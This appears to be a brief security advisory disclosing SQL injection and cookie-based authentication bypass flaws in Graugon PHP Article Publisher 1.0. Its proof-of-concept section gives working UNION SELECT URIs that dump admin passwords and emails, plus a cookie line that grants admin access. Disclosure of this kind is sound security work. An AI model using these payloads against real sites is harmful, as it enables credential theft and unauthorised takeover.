-\\Vulnerable:
Graugon PHP Article Publisher  1.0



-\\Discussion
Graugon PHP Article Publisher is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.  The application is also prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Exploiting the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The attacker can leverage the authentication-bypass vulnerability to gain administrative access to the affected application.

Graugon PHP Article Publisher 1.0 is vulnerable; other versions may also be affected.



-\\Exploit(s)/PoC(s):
Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/path/?c=1 union select 0,0,0,concat(id,password,email),0,0 from p_settings
http://www.example.com/path/view.php?id=1 union select 0,0,0,concat(id,password,email),0,0 from p_settings

The following data is also available:

javascript:document.cookie ="g_admin=1; path=/"
